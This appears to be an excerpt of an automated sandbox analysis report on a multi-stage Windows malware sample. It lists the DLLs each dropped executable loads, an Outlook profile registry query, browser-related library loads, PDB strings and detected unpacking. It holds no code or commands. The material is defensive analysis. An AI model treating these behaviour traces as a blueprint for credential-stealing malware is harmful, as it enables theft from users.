Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: mscorjit.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\random.exe.7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\random.exe.7.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: random.exe.7.exe

Static file information: File size 2913280 > 1048576

Source: random.exe.7.exe

Static PE information: Raw size of oaygiznl is bigger than: 0x100000 < 0x2ad000

Source:	Binary string: mozglue.pdbP source: random.exe.7.exe, 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: random.exe.7.exe, 00000000.00000002.2709038321.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: wkernel32.pdb source: 0ee5eba208.exe, 00000015.00000003.3180037310.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3180115683.0000000005B10000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187533463.0000000005230000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187380305.0000000005110000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3083027005.0000000005000000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 0ee5eba208.exe, 00000015.00000003.3180591378.0000000005C10000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3180345649.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3188101830.0000000005330000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187895293.0000000005110000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 0ee5eba208.exe, 00000015.00000003.3179254214.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3179415073.0000000005BE0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186352969.0000000005300000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186117130.0000000005110000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 0ee5eba208.exe, 00000015.00000003.3179837466.0000000005B90000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3179699302.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186988425.00000000052B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: ntdll.pdbUGP source: 0ee5eba208.exe, 00000015.00000003.3179254214.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3179415073.0000000005BE0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186352969.0000000005300000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186117130.0000000005110000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 0ee5eba208.exe, 00000015.00000003.3179837466.0000000005B90000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3179699302.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186988425.00000000052B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: Cq6Id6x.exe, 00000012.00000002.3082497535.0000000004D80000.00000004.08000000.00040000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3073805466.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: random.exe.7.exe, 00000000.00000002.2709038321.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: mozglue.pdb source: random.exe.7.exe, 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 0ee5eba208.exe, 00000015.00000003.3180037310.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3180115683.0000000005B10000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187533463.0000000005230000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187380305.0000000005110000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 0ee5eba208.exe, 00000015.00000003.3180591378.0000000005C10000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3180345649.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3188101830.0000000005330000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187895293.0000000005110000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\random.exe.7.exe	Unpacked PE file: 0.2.random.exe.7.exe.e50000.0.unpack :EW;.rsrc:W;.idata :W;oaygiznl:EW;aqcomldw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oaygiznl:EW;aqcomldw:EW;.taggant:EW;
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Unpacked PE file: 14.2.BKKFCFBKFC.exe.20000.0.unpack :EW;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW;
